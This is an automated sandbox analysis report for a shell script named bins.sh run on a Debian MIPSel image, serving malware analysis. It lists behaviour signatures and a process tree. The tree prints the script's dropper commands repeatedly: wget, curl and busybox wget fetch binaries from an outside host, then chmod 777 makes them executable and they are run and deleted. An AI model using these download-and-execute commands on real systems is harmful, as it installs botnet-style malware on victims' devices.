4bdc76d7520fffa3118c06bd942bfd84c7d268561d08ed8bfcee82101c216b9f

Analysis

max time kernel
110s
max time network
107s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
26/10/2024, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vdedmawemb
SHA256 4bdc76d7520fffa3118c06bd942bfd84c7d268561d08ed8bfcee82101c216b9f
MD5 54e4a88fa18aa6624138cbeaf3e9853d
SHA1 8b43ced6295d5d6213c714f0adb179ae960d2f42
SHA512 5c014506f18c9ce51598c6ac1770a3e850b0470b6b439b39789b373c49e39d54be9d3da474e47ea06e5752a91aa00d951d3c723138a8ed29514f5dedeb334371
SSDEEP 192:7GpdhSrDra25BuhPJpAk5iCFdhSrD6y5BZAk5iCAy:7GpdhSrDraB9JpAk5iCFdhSrD6YAk5ik
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
797	chmod
824	chmod
896	chmod
848	chmod
903	chmod
924	chmod
952	chmod
980	chmod
740	chmod
774	chmod
973	chmod
1008	chmod
831	chmod
917	chmod
966	chmod
945	chmod
994	chmod
1001	chmod
755	chmod
931	chmod
882	chmod
889	chmod
959	chmod
875	chmod
987	chmod
748	chmod
910	chmod
938	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
895	busybox
920	wget
970	curl
1002	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
1005	curl
881	busybox
892	wget
893	curl
956	curl
853	rm
909	busybox
913	wget
885	wget
944	busybox
942	curl
972	busybox
979	busybox
819	curl
849	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
928	curl
898	rm
951	busybox
1004	wget
747	busybox
860	curl
871	busybox
916	busybox
930	busybox
934	wget
963	curl
977	curl
752	curl
759	curl
886	curl
937	busybox
986	busybox
749	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
754	busybox
784	curl
1000	busybox
828	curl
876	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
983	wget
779	wget
830	busybox
844	busybox
897	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
902	busybox
727	curl
751	wget
769	busybox
935	curl
991	curl
906	wget
907	curl
927	wget
878	wget
921	curl
990	wget
998	curl
745	curl
794	busybox
834	wget
750	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl
File opened for modification	/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	curl
File opened for modification	/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:738
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:749
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - System Network Configuration Discovery
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - System Network Configuration Discovery
  PID:769
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:778
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - System Network Configuration Discovery
  PID:779
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:806
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:823
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:826
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - System Network Configuration Discovery
  PID:830
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:833
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:834
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:844
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:849
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:853
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:876
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:888
- /bin/chmod
  chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:897
- /bin/rm
  rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - System Network Configuration Discovery
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  PID:923
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:958
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  PID:965
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
